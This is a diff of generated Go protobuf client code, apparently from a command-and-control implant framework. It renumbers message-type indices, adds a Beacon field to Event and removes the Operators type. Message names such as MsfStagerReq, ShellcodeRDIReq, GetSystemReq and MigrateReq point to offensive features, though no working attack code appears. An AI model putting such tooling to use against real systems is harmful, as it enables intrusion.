+ return file_clientpb_client_proto_rawDescGZIP(), []int{49}
}
func (x *TCPPivot) GetSuccess() bool {
@@ -4776,7 +5298,7 @@ type Sessions struct {
func (x *Sessions) Reset() {
*x = Sessions{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[43]
+ mi := &file_clientpb_client_proto_msgTypes[50]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -4789,7 +5311,7 @@ func (x *Sessions) String() string {
func (*Sessions) ProtoMessage() {}
func (x *Sessions) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[43]
+ mi := &file_clientpb_client_proto_msgTypes[50]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -4802,7 +5324,7 @@ func (x *Sessions) ProtoReflect() protoreflect.Message {
// Deprecated: Use Sessions.ProtoReflect.Descriptor instead.
func (*Sessions) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{43}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{50}
}
func (x *Sessions) GetSessions() []*Session {
@@ -4825,7 +5347,7 @@ type RenameReq struct {
func (x *RenameReq) Reset() {
*x = RenameReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[44]
+ mi := &file_clientpb_client_proto_msgTypes[51]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -4838,7 +5360,7 @@ func (x *RenameReq) String() string {
func (*RenameReq) ProtoMessage() {}
func (x *RenameReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[44]
+ mi := &file_clientpb_client_proto_msgTypes[51]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -4851,7 +5373,7 @@ func (x *RenameReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use RenameReq.ProtoReflect.Descriptor instead.
func (*RenameReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{44}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{51}
}
func (x *RenameReq) GetSessionID() string {
@@ -4887,7 +5409,7 @@ type GenerateReq struct {
func (x *GenerateReq) Reset() {
*x = GenerateReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[45]
+ mi := &file_clientpb_client_proto_msgTypes[52]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -4900,7 +5422,7 @@ func (x *GenerateReq) String() string {
func (*GenerateReq) ProtoMessage() {}
func (x *GenerateReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[45]
+ mi := &file_clientpb_client_proto_msgTypes[52]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -4913,7 +5435,7 @@ func (x *GenerateReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use GenerateReq.ProtoReflect.Descriptor instead.
func (*GenerateReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{45}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{52}
}
func (x *GenerateReq) GetConfig() *ImplantConfig {
@@ -4948,7 +5470,7 @@ type GenerateStageReq struct {
func (x *GenerateStageReq) Reset() {
*x = GenerateStageReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[46]
+ mi := &file_clientpb_client_proto_msgTypes[53]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -4961,7 +5483,7 @@ func (x *GenerateStageReq) String() string {
func (*GenerateStageReq) ProtoMessage() {}
func (x *GenerateStageReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[46]
+ mi := &file_clientpb_client_proto_msgTypes[53]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -4974,7 +5496,7 @@ func (x *GenerateStageReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use GenerateStageReq.ProtoReflect.Descriptor instead.
func (*GenerateStageReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{46}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{53}
}
func (x *GenerateStageReq) GetProfile() string {
@@ -5044,7 +5566,7 @@ type Generate struct {
func (x *Generate) Reset() {
*x = Generate{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[47]
+ mi := &file_clientpb_client_proto_msgTypes[54]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -5057,7 +5579,7 @@ func (x *Generate) String() string {
func (*Generate) ProtoMessage() {}
func (x *Generate) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[47]
+ mi := &file_clientpb_client_proto_msgTypes[54]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -5070,7 +5592,7 @@ func (x *Generate) ProtoReflect() protoreflect.Message {
// Deprecated: Use Generate.ProtoReflect.Descriptor instead.
func (*Generate) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{47}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{54}
}
func (x *Generate) GetFile() *commonpb.File {
@@ -5096,7 +5618,7 @@ type MSFReq struct {
func (x *MSFReq) Reset() {
*x = MSFReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[48]
+ mi := &file_clientpb_client_proto_msgTypes[55]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -5109,7 +5631,7 @@ func (x *MSFReq) String() string {
func (*MSFReq) ProtoMessage() {}
func (x *MSFReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[48]
+ mi := &file_clientpb_client_proto_msgTypes[55]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -5122,7 +5644,7 @@ func (x *MSFReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use MSFReq.ProtoReflect.Descriptor instead.
func (*MSFReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{48}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{55}
}
func (x *MSFReq) GetPayload() string {
@@ -5184,7 +5706,7 @@ type MSFRemoteReq struct {
func (x *MSFRemoteReq) Reset() {
*x = MSFRemoteReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[49]
+ mi := &file_clientpb_client_proto_msgTypes[56]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -5197,7 +5719,7 @@ func (x *MSFRemoteReq) String() string {
func (*MSFRemoteReq) ProtoMessage() {}
func (x *MSFRemoteReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[49]
+ mi := &file_clientpb_client_proto_msgTypes[56]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -5210,7 +5732,7 @@ func (x *MSFRemoteReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use MSFRemoteReq.ProtoReflect.Descriptor instead.
func (*MSFRemoteReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{49}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{56}
}
func (x *MSFRemoteReq) GetPayload() string {
@@ -5280,7 +5802,7 @@ type StagerListenerReq struct {
func (x *StagerListenerReq) Reset() {
*x = StagerListenerReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[50]
+ mi := &file_clientpb_client_proto_msgTypes[57]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -5293,7 +5815,7 @@ func (x *StagerListenerReq) String() string {
func (*StagerListenerReq) ProtoMessage() {}
func (x *StagerListenerReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[50]
+ mi := &file_clientpb_client_proto_msgTypes[57]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -5306,7 +5828,7 @@ func (x *StagerListenerReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use StagerListenerReq.ProtoReflect.Descriptor instead.
func (*StagerListenerReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{50}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{57}
}
func (x *StagerListenerReq) GetProtocol() StageProtocol {
@@ -5376,7 +5898,7 @@ type StagerListener struct {
func (x *StagerListener) Reset() {
*x = StagerListener{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[51]
+ mi := &file_clientpb_client_proto_msgTypes[58]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -5389,7 +5911,7 @@ func (x *StagerListener) String() string {
func (*StagerListener) ProtoMessage() {}
func (x *StagerListener) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[51]
+ mi := &file_clientpb_client_proto_msgTypes[58]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -5402,7 +5924,7 @@ func (x *StagerListener) ProtoReflect() protoreflect.Message {
// Deprecated: Use StagerListener.ProtoReflect.Descriptor instead.
func (*StagerListener) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{51}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{58}
}
func (x *StagerListener) GetJobID() uint32 {
@@ -5425,7 +5947,7 @@ type ShellcodeRDIReq struct {
func (x *ShellcodeRDIReq) Reset() {
*x = ShellcodeRDIReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[52]
+ mi := &file_clientpb_client_proto_msgTypes[59]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -5438,7 +5960,7 @@ func (x *ShellcodeRDIReq) String() string {
func (*ShellcodeRDIReq) ProtoMessage() {}
func (x *ShellcodeRDIReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[52]
+ mi := &file_clientpb_client_proto_msgTypes[59]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -5451,7 +5973,7 @@ func (x *ShellcodeRDIReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use ShellcodeRDIReq.ProtoReflect.Descriptor instead.
func (*ShellcodeRDIReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{52}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{59}
}
func (x *ShellcodeRDIReq) GetData() []byte {
@@ -5486,7 +6008,7 @@ type ShellcodeRDI struct {
func (x *ShellcodeRDI) Reset() {
*x = ShellcodeRDI{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[53]
+ mi := &file_clientpb_client_proto_msgTypes[60]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -5499,7 +6021,7 @@ func (x *ShellcodeRDI) String() string {
func (*ShellcodeRDI) ProtoMessage() {}
func (x *ShellcodeRDI) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[53]
+ mi := &file_clientpb_client_proto_msgTypes[60]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -5512,7 +6034,7 @@ func (x *ShellcodeRDI) ProtoReflect() protoreflect.Message {
// Deprecated: Use ShellcodeRDI.ProtoReflect.Descriptor instead.
func (*ShellcodeRDI) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{53}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{60}
}
func (x *ShellcodeRDI) GetData() []byte {
@@ -5541,7 +6063,7 @@ type MsfStagerReq struct {
func (x *MsfStagerReq) Reset() {
*x = MsfStagerReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[54]
+ mi := &file_clientpb_client_proto_msgTypes[61]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -5554,7 +6076,7 @@ func (x *MsfStagerReq) String() string {
func (*MsfStagerReq) ProtoMessage() {}
func (x *MsfStagerReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[54]
+ mi := &file_clientpb_client_proto_msgTypes[61]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -5567,7 +6089,7 @@ func (x *MsfStagerReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use MsfStagerReq.ProtoReflect.Descriptor instead.
func (*MsfStagerReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{54}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{61}
}
func (x *MsfStagerReq) GetArch() string {
@@ -5644,7 +6166,7 @@ type MsfStager struct {
func (x *MsfStager) Reset() {
*x = MsfStager{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[55]
+ mi := &file_clientpb_client_proto_msgTypes[62]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -5657,7 +6179,7 @@ func (x *MsfStager) String() string {
func (*MsfStager) ProtoMessage() {}
func (x *MsfStager) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[55]
+ mi := &file_clientpb_client_proto_msgTypes[62]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -5670,7 +6192,7 @@ func (x *MsfStager) ProtoReflect() protoreflect.Message {
// Deprecated: Use MsfStager.ProtoReflect.Descriptor instead.
func (*MsfStager) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{55}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{62}
}
func (x *MsfStager) GetFile() *commonpb.File {
@@ -5697,7 +6219,7 @@ type GetSystemReq struct {
func (x *GetSystemReq) Reset() {
*x = GetSystemReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[56]
+ mi := &file_clientpb_client_proto_msgTypes[63]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -5710,7 +6232,7 @@ func (x *GetSystemReq) String() string {
func (*GetSystemReq) ProtoMessage() {}
func (x *GetSystemReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[56]
+ mi := &file_clientpb_client_proto_msgTypes[63]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -5723,7 +6245,7 @@ func (x *GetSystemReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use GetSystemReq.ProtoReflect.Descriptor instead.
func (*GetSystemReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{56}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{63}
}
func (x *GetSystemReq) GetHostingProcess() string {
@@ -5772,7 +6294,7 @@ type MigrateReq struct {
func (x *MigrateReq) Reset() {
*x = MigrateReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[57]
+ mi := &file_clientpb_client_proto_msgTypes[64]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -5785,7 +6307,7 @@ func (x *MigrateReq) String() string {
func (*MigrateReq) ProtoMessage() {}
func (x *MigrateReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[57]
+ mi := &file_clientpb_client_proto_msgTypes[64]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -5798,7 +6320,7 @@ func (x *MigrateReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use MigrateReq.ProtoReflect.Descriptor instead.
func (*MigrateReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{57}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{64}
}
func (x *MigrateReq) GetPid() uint32 {
@@ -5848,7 +6370,7 @@ type CreateTunnelReq struct {
func (x *CreateTunnelReq) Reset() {
*x = CreateTunnelReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[58]
+ mi := &file_clientpb_client_proto_msgTypes[65]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -5861,7 +6383,7 @@ func (x *CreateTunnelReq) String() string {
func (*CreateTunnelReq) ProtoMessage() {}
func (x *CreateTunnelReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[58]
+ mi := &file_clientpb_client_proto_msgTypes[65]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -5874,7 +6396,7 @@ func (x *CreateTunnelReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use CreateTunnelReq.ProtoReflect.Descriptor instead.
func (*CreateTunnelReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{58}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{65}
}
func (x *CreateTunnelReq) GetRequest() *commonpb.Request {
@@ -5896,7 +6418,7 @@ type CreateTunnel struct {
func (x *CreateTunnel) Reset() {
*x = CreateTunnel{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[59]
+ mi := &file_clientpb_client_proto_msgTypes[66]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -5909,7 +6431,7 @@ func (x *CreateTunnel) String() string {
func (*CreateTunnel) ProtoMessage() {}
func (x *CreateTunnel) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[59]
+ mi := &file_clientpb_client_proto_msgTypes[66]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -5922,7 +6444,7 @@ func (x *CreateTunnel) ProtoReflect() protoreflect.Message {
// Deprecated: Use CreateTunnel.ProtoReflect.Descriptor instead.
func (*CreateTunnel) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{59}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{66}
}
func (x *CreateTunnel) GetSessionID() uint32 {
@@ -5951,7 +6473,7 @@ type CloseTunnelReq struct {
func (x *CloseTunnelReq) Reset() {
*x = CloseTunnelReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[60]
+ mi := &file_clientpb_client_proto_msgTypes[67]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -5964,7 +6486,7 @@ func (x *CloseTunnelReq) String() string {
func (*CloseTunnelReq) ProtoMessage() {}
func (x *CloseTunnelReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[60]
+ mi := &file_clientpb_client_proto_msgTypes[67]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -5977,7 +6499,7 @@ func (x *CloseTunnelReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use CloseTunnelReq.ProtoReflect.Descriptor instead.
func (*CloseTunnelReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{60}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{67}
}
func (x *CloseTunnelReq) GetTunnelID() uint64 {
@@ -6009,7 +6531,7 @@ type PivotGraphEntry struct {
func (x *PivotGraphEntry) Reset() {
*x = PivotGraphEntry{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[61]
+ mi := &file_clientpb_client_proto_msgTypes[68]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -6022,7 +6544,7 @@ func (x *PivotGraphEntry) String() string {
func (*PivotGraphEntry) ProtoMessage() {}
func (x *PivotGraphEntry) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[61]
+ mi := &file_clientpb_client_proto_msgTypes[68]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -6035,7 +6557,7 @@ func (x *PivotGraphEntry) ProtoReflect() protoreflect.Message {
// Deprecated: Use PivotGraphEntry.ProtoReflect.Descriptor instead.
func (*PivotGraphEntry) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{61}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{68}
}
func (x *PivotGraphEntry) GetPeerID() int64 {
@@ -6077,7 +6599,7 @@ type PivotGraph struct {
func (x *PivotGraph) Reset() {
*x = PivotGraph{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[62]
+ mi := &file_clientpb_client_proto_msgTypes[69]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -6090,7 +6612,7 @@ func (x *PivotGraph) String() string {
func (*PivotGraph) ProtoMessage() {}
func (x *PivotGraph) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[62]
+ mi := &file_clientpb_client_proto_msgTypes[69]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -6103,7 +6625,7 @@ func (x *PivotGraph) ProtoReflect() protoreflect.Message {
// Deprecated: Use PivotGraph.ProtoReflect.Descriptor instead.
func (*PivotGraph) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{62}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{69}
}
func (x *PivotGraph) GetChildren() []*PivotGraphEntry {
@@ -6127,7 +6649,7 @@ type Client struct {
func (x *Client) Reset() {
*x = Client{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[63]
+ mi := &file_clientpb_client_proto_msgTypes[70]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -6140,7 +6662,7 @@ func (x *Client) String() string {
func (*Client) ProtoMessage() {}
func (x *Client) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[63]
+ mi := &file_clientpb_client_proto_msgTypes[70]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -6153,7 +6675,7 @@ func (x *Client) ProtoReflect() protoreflect.Message {
// Deprecated: Use Client.ProtoReflect.Descriptor instead.
func (*Client) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{63}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{70}
}
func (x *Client) GetID() uint32 {
@@ -6184,16 +6706,17 @@ type Event struct {
EventType string `protobuf:"bytes,1,opt,name=EventType,proto3" json:"EventType,omitempty"`
Session *Session `protobuf:"bytes,2,opt,name=Session,proto3" json:"Session,omitempty"`
- Job *Job `protobuf:"bytes,3,opt,name=Job,proto3" json:"Job,omitempty"`
- Client *Client `protobuf:"bytes,4,opt,name=Client,proto3" json:"Client,omitempty"`
- Data []byte `protobuf:"bytes,5,opt,name=Data,proto3" json:"Data,omitempty"`
- Err string `protobuf:"bytes,6,opt,name=Err,proto3" json:"Err,omitempty"` // Can't trigger normal gRPC error
+ Beacon *Beacon `protobuf:"bytes,3,opt,name=Beacon,proto3" json:"Beacon,omitempty"`
+ Job *Job `protobuf:"bytes,4,opt,name=Job,proto3" json:"Job,omitempty"`
+ Client *Client `protobuf:"bytes,5,opt,name=Client,proto3" json:"Client,omitempty"`
+ Data []byte `protobuf:"bytes,6,opt,name=Data,proto3" json:"Data,omitempty"`
+ Err string `protobuf:"bytes,7,opt,name=Err,proto3" json:"Err,omitempty"` // Can't trigger normal gRPC error
}
func (x *Event) Reset() {
*x = Event{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[64]
+ mi := &file_clientpb_client_proto_msgTypes[71]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -6206,7 +6729,7 @@ func (x *Event) String() string {
func (*Event) ProtoMessage() {}
func (x *Event) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[64]
+ mi := &file_clientpb_client_proto_msgTypes[71]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -6219,7 +6742,7 @@ func (x *Event) ProtoReflect() protoreflect.Message {
// Deprecated: Use Event.ProtoReflect.Descriptor instead.
func (*Event) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{64}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{71}
}
func (x *Event) GetEventType() string {
@@ -6236,6 +6759,13 @@ func (x *Event) GetSession() *Session {
return nil
}
+func (x *Event) GetBeacon() *Beacon {
+ if x != nil {
+ return x.Beacon
+ }
+ return nil
+}
+
func (x *Event) GetJob() *Job {
if x != nil {
return x.Job
@@ -6264,53 +6794,6 @@ func (x *Event) GetErr() string {
return ""
}
-type Operators struct {
- state protoimpl.MessageState
- sizeCache protoimpl.SizeCache
- unknownFields protoimpl.UnknownFields
-
- Operators []*Operator `protobuf:"bytes,1,rep,name=Operators,proto3" json:"Operators,omitempty"`
-}
-
-func (x *Operators) Reset() {
- *x = Operators{}
- if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[65]
- ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
- ms.StoreMessageInfo(mi)
- }
-}
-
-func (x *Operators) String() string {
- return protoimpl.X.MessageStringOf(x)
-}
-
-func (*Operators) ProtoMessage() {}
-
-func (x *Operators) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[65]
- if protoimpl.UnsafeEnabled && x != nil {
- ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
- if ms.LoadMessageInfo() == nil {
- ms.StoreMessageInfo(mi)
- }
- return ms
- }
- return mi.MessageOf(x)
-}
-
-// Deprecated: Use Operators.ProtoReflect.Descriptor instead.
-func (*Operators) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{65}
-}
-
-func (x *Operators) GetOperators() []*Operator {
- if x != nil {
- return x.Operators
- }
- return nil
-}
-
type Operator struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
@@ -6323,7 +6806,7 @@ type Operator struct {
func (x *Operator) Reset() {
*x = Operator{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[66]
+ mi := &file_clientpb_client_proto_msgTypes[72]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -6336,7 +6819,7 @@ func (x *Operator) String() string {
func (*Operator) ProtoMessage() {}
func (x *Operator) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[66]
+ mi := &file_clientpb_client_proto_msgTypes[72]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -6349,7 +6832,7 @@ func (x *Operator) ProtoReflect() protoreflect.Message {
// Deprecated: Use Operator.ProtoReflect.Descriptor instead.
func (*Operator) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{66}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{72}
}
func (x *Operator) GetOnline() bool {
@@ -6383,7 +6866,7 @@ type WebContent struct {
